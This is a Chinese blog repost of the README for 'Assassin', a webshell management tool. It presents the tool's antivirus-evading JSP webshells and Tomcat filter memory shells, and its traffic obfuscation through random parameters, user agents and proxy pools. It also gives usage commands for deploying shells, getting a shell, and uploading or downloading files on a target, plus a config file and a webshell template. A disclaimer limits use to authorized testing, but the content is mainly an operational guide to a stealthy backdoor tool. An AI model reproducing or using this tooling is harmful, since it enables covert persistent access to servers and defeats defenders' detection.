Assassin暗杀者-自用短小精悍的webshell管理工具分享
Assassin
Assassin是一款精简的基于命令行的webshell管理工具,它有着多种payload发送方式和编码方式,以及精简的payload代码,使得它成为隐蔽的暗杀者,难以被很好的防御。自用工具开源互相学习,工具短小精悍,生成的webshell能够过目前主流杀毒软件(36x、腾x等,目前能过,后面可能很快就不行了,需要稍微变换webshell代码以再次免杀) 连接后交互的流量特征几乎没有,具体payload发送方式均可自定义。由于个人精力有限,因为懒而且菜,服务端暂时仅支持Java。
Github:https://github.com/b1ackc4t/Assassin
Gitee:https://gitee.com/b1ackc4t/Assassin
声明:主要面向网络安全人员已授权的合法渗透或学生AWD等比赛使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担
特点 [1] 生成的webshell能过主流杀软 36x、腾x等等(以后可能就不行了,需要稍加更改代码,webshell模板可以自定义修改)
[2] webshell仅1kb大小,客户端与服务端完成连接后发送payload十分精简
[3] payload能够以get、post、cookie、mixed四种方式发送,可动态修改,流量迷惑性较强
[4] 客户端与服务端交互流量支持多种编码方式,可动态修改
[5] payload发送的参数名以及数量均可自定义,支持随机ip代理和user-agent
软件截图 软件类似于MSF的操作模式
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/3210f70fd7d24058b59c59c5d80774f9.jpg)
文章图片
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/441d8108d5074299aec9fd73762a98b6.jpg)
文章图片
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/8c7c74da351d444cad19ce21b44fdc29.jpg)
文章图片
发送的payload流量示例
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/406784058a044f81800a81f18a7621bc.jpg)
文章图片
cookie:
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/a8f128e19d314cdbb4f4c9a795774dc0.png)
文章图片
【Assassin暗杀者-自用短小精悍的webshell管理工具分享】get:
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/4686293a1389482191e64ad96759075a.jpg)
文章图片
post:
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/12815c4e6d5b41cf95a0e0476e368f04.jpg)
文章图片
mixed:
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/bf4d65678850422eaebc29393630a3a7.jpg)
文章图片
除了cookie方式,get、post、mixed可以在已经建立连接后动态修改发送方式,无需更改服务端
请求编码:
- base64
- base36
- hex
- base64
- raw
- base36
- hex
使用教程 适用版本
服务端:jre 1.5及以上
客户端:jdk 1.8及以上
配置文件
{
"paramNames": ["user", "file", "id", "eid", "wd", "ie", "oq", "name", "son"],
// get、post、mixed请求参数名的随机池
"cookieNames": ["fid", "uuid", "eid", "home", "ief", "fl", "oop"],
// cookie请求参数名的随机池
"headers":{
"Accept":"text/html,application/xhtml+xml,application/xml;
q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;
v=b3;
q=0.9",
"Accept-Encoding":"gzip, deflate, br",
"Accept-Language":"Accept-Language: zh-CN,zh;
q=0.9",
"Upgrade-Insecure-Requests": "1"
},
// http头部
"partNum": 3,
// payload首次发送的分块数量
"argNum": 5,
// 每次请求的参数个数,不能超过paramNames或者cookieNames的参数个数
"startRandomUserAgent": false,
// 是否随机useragent
"startIpAgents": false,
// 是否开启ip池代理模式
"startColor": true
// 是否启用命令行颜色
}
随机useragent采用./useragents.txt里的useragent,开启后每次请求都会更换useragent,一般配合ip代理使用,关闭时是每次用session命令启动一个webshell会话一个useragent。
ip代理池使用./ipagents.txt,格式为
ip:posr;
username:password
,不需要认证的话ip:port
就可以了,开启后每次请求会从中选择一个代理。Tip:windows用户启动后乱码请关闭"startColor",或者使用Windows Terminal启动
帮助信息
所有命令使用都比较简单,可以通过help命令查看参数
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/b80c21212fbe4305a9a47465acfd7671.jpg)
文章图片
help [command]
查看具体命令的帮助![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/80f2150e754b4e2e833c2fe97a2e14c5.jpg)
文章图片
实例
用startup.bat或startup.sh启动
new java 123 cookie
# 生成密码为123 发送方式为cookie的普通jsp木马
new java pass post reqEncode=base36 tamper=tomcat9_filter
# 生成密码为pass 发送方式为post 请求用base36编码的tomcat9 filter内存马
Tips:add和new命令参数比较多,中括号包裹的可选参数还可以用key=value的方式赋值
之后会弹出窗口选择保存位置
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/cfd2f6f1dd01437696b1932236cd9505.jpg)
文章图片
将webshell上到目标服务器
add http://192.168.48.130:8080/1.jsp 123 java method=cookie resEncode=base36
# 添加webshell 密码123 java马 cookie传参 请求编码默认base64 响应编码base36
show
查看ID号![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/1930a2b2905a43ee8be068de13be316c.jpg)
文章图片
session 1
连接webshell![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/ba72ed1feefb46af8c1eeb04ae99b720.jpg)
文章图片
看到提示符发生变化就可以执行webshell controller commands的命令了!
Assassin|java >getshell
Assassin|java|C:\apache-tomcat-9.0.54\bin >dir
上传文件
upload # 没参数默认传到当前目录
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/4caf755de1a5415296e1767b2924e794.jpg)
文章图片
选择文件即可上传
download ./test.txt
同理![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/1126fff486d9458db3a75be7c95c701b.jpg)
文章图片
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/56fa4d7820e04a7a99cd57efbe41f64a.jpg)
文章图片
编写webshell模板tamper
![Assassin暗杀者-自用短小精悍的webshell管理工具分享](https://img.it610.com/image/info8/1263423dd50f4061b8084932ad69a3ce.jpg)
文章图片
第一个部分用{@key}填充,代表 webshell密码
第二个部分用{@getvalue}填充,代表 获取请求payload的代码
第三个部分用{@decode}填充,代表 解码代码
模板如下:
String k="{@key}";
// aes密钥 123456 md5的前16位
String r = "";
//密文payload存放位置,这个参数名必须为r,其他的无所谓
// 取密文
{@getvalue}
byte[] cText = {@decode};
其他主要逻辑不改,就可以成功连接。
实例
请看webshell/java/下的tomcat的filter内存马模板
推荐阅读
- 盖一座房
- 涉毒患者(新诗)
- “精神病患者”的角度问题
- 雅集
- 漫画初学者如何学习漫画背景的透视画法(这篇教程请收藏好了!)
- 如果你是一名工作乐之者,996的工作又算得了什么()
- 《卓有成效的管理者》第二十二堂课(创造英雄)
- 过眼烟云自痴一一读《做洁白芳香的女人》有感一作者梦的衣裳
- 营养基础学20180331(课间随笔)??
- 一半是舞者,一半是军人|一半是舞者,一半是军人 ——读《芳华》有感